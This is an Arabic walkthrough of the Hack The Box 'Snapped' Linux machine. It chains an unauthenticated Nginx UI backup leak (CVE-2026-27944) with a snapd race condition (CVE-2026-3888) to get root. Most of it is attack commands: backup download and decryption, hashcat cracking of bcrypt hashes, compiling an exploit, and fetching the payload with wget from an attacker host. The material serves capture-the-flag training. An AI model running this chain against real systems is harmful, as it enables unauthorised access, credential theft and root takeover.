
# HTB Snapped — شرح آلة لينكس صعبة. تم ربط CVE-2026-27944 (كشف النسخة الاحتياطية غير المصادق عليه في Nginx UI) مع CVE-2026-3888 (سباق الحالات في snapd لتصعيد الامتيازات محليًا) لتحقيق اختراق كامل للنظام.
HTB Snapped — كتابة حل آلة Linux صعبة. تم ربط CVE-2026-27944 (كشف نسخة احتياطية غير مصادق عليها في Nginx UI) مع CVE-2026-3888 (سباق في snapd لتصعيد الصلاحيات محليًا) لتحقيق اختراق كامل للنظام.
الصعوبة: صعبة
نظام التشغيل: Linux (Ubuntu 24.04)
تاريخ الإصدار: 23 مارس 2026
CVEs: CVE-2026-27944, CVE-2026-3888
Snapped هي آلة Linux صعبة تستضيف موقعًا ثابتًا خلف nginx مع لوحة تحكم إدارية Nginx UI. يتم الحصول على الوصول الأولي من خلال استغلال CVE-2026-27944 — وهو نقطة نهاية نسخ احتياطي غير مصادق عليها تسرّب مفاتيح تشفير AES. بعد فك تشفير النسخة الاحتياطية وكسر تجزئة bcrypt من قاعدة بيانات SQLite، يتم الحصول على وصول SSH. يتم تحقيق تصعيد الصلاحيات إلى root عبر CVE-2026-3888، وهو سباق في snapd بين snap-confine و systemd-tmpfiles.
nmap -sCV <TARGET_IP>
المنافذ المفتوحة: 22 (SSH)، 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
تم العثور على: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
إصدارات Nginx UI قبل 2.3.3 تعرّض /api/backup بدون مصادقة. رأس الاستجابة X-Backup-Security يسرّب مفتاح AES-256-CBC و IV اللازمين لفك تشفير أرشيف النسخة الاحتياطية.
الخطوة 1 — تنزيل النسخة الاحتياطية واستخراج المفتاح/IV:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
الخطوة 2 — التحويل إلى hex وفك التشفير:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
الخطوة 3 — استخراج التجزئة من قاعدة بيانات SQLite:
strings database.db | grep '\$2a\$'
# تم العثور على تجزئات bcrypt للمستخدمين: jonathan, admin
الخطوة 4 — كسر التجزئة:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
الخطوة 5 — الوصول عبر SSH:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 هو تصعيد صلاحيات محلي في snapd يؤثر على Ubuntu 24.04. يستغل سباق TOCTOU بين مكونين من مكونات النظام:
/tmp/.snap بشكل دوريعندما يحذف systemd-tmpfiles /tmp/.snap، يمكن للمهاجم إعادة إنشائه بمحتوى خبيث. عندما يقوم snap-confine بعد ذلك بتهيئة بيئة معزولة، يقوم بتركيب الدليل المتحكم به من قبل المهاجم بصلاحيات root، مما يتيح اختطاف الرابط الديناميكي.
الخطوة 1 — التحقق من الإصدار المعرض للخطر:
snap version
# snapd 2.63.1+24.04 — معرض للخطر (تم الإصلاح في 2.73)
الخطوة 2 — تجميع الاستغلال على جهاز المهاجم:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
الخطوة 3 — النقل إلى الهدف:
# جهاز المهاجم
python3 -m http.server 8080
# الهدف
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
الخطوة 4 — تشغيل الاستغلال:
# الجلسة 1 — تشغيل الاستغلال
~/exploit ~/librootshell.so
# الجلسة 2 — تشغيل التنظيف عند رؤية "Polling..."
rm -rf /tmp/.snap
الخطوة 5 — قشرة root:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt